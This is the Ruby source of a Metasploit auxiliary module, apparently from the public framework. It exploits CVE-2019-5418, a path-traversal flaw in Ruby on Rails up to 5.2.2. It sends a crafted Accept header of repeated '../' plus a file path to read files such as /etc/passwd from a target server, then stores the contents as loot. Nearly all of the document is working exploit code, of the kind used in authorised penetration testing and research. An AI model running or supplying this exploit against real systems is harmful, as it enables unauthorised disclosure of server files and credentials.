123 lines
4.0 KiB
Ruby
123 lines
4.0 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => "Ruby On Rails File Content Disclosure ('doubletap')",
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'Description' => %q{
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This module uses a path traversal vulnerability in Ruby on Rails
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versions =< 5.2.2 to read files on a target server.
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},
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'Author' =>
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[
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'Carter Brainerd <0xCB@protonmail.com>', # Metasploit module
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'John Hawthorn <john@hawthorn.email>' # PoC/discovery
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],
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'License' => MSF_LICENSE,
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'References' => [
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[ 'URL', 'https://hackerone.com/reports/473888' ],
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[ 'URL', 'https://github.com/mpgn/Rails-doubletap-RCE' ],
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[ 'URL', 'https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q' ],
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[ 'URL', 'https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/' ],
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[ 'CVE', '2019-5418'],
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[ 'EDB', '46585' ]
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],
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'Notes' => {
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'AKA' => ['DoubleTap']
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}
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)
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)
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register_options(
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[
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Opt::RPORT(80),
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OptString.new('ROUTE', [true, 'A route on the vulnerable server.', '/home']),
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OptInt.new('DEPTH', [true, 'The depth of the traversal.', 10]),
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OptString.new('TARGET_FILE', [true, 'The absolute path of remote file to read.', '/etc/passwd']),
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OptBool.new('PRINT_RESULTS', [true, 'Print results of module (may hang with large amounts of data).', true])
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]
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)
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register_advanced_options(
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[
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OptBool.new('SkipCheck', [true, 'Skip the initial vulnerability check.', false])
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]
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)
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end
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def get_accept_header_value(depth, file)
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return (('../'*depth) + file + '{{').gsub('//', '/')
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end
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def check
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return true if datastore['SkipCheck']
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# Check if target file is absolute path
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unless datastore['TARGET_FILE'].start_with? '/'
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vprint_error "TARGET_FILE must be an absolute path (eg. /etc/passwd)."
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return Exploit::CheckCode::Unknown
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end
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# Fire off the request
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(datastore['ROUTE']),
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'headers' => { 'Accept' => get_accept_header_value(datastore['DEPTH'], '/etc/passwd')}
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})
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if res.nil?
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vprint_error "Request timed out."
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return Exploit::CheckCode::Unknown
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end
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if res.body.include? 'root:x:0:0:root:'
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return Exploit::CheckCode::Vulnerable
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else
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vprint_error 'Target is not vulnerable. Make sure your route is correct.'
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return Exploit::CheckCode::Unknown
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end
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end
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def run
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unless check == Exploit::CheckCode::Vulnerable
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print_error 'Check did not pass, exiting.'
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return
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end
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fail_with(Failure::BadConfig, 'TARGET_FILE must be an absolute path (eg. /etc/passwd).') unless datastore['TARGET_FILE'].start_with? '/'
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print_status "Requesting file #{datastore['TARGET_FILE']}"
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(datastore['ROUTE']),
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'headers' => { 'Accept' => get_accept_header_value(datastore['DEPTH'], datastore['TARGET_FILE'])}
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})
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if res.nil?
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print_error "Request timed out."
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return
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end
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unless res.code == 200
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print_error "Failed to read file: #{datastore['TARGET_FILE']}. HTTP error: #{res.code}."
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print_error 'User probably doesnt have access to the requested file.' if res.code == 500
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return
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end
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unless datastore['PRINT_RESULTS']
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print_good 'Response from server:'
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print_line res.body.to_s
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end
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store_loot('rails.doubletap.file', 'text/plain', datastore['RHOSTS'], res.body.to_s, datastore['TARGET_FILE'], "File read via Rails DoubleTap auxiliary module.")
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print_status 'Results stored as loot.'
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end
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end
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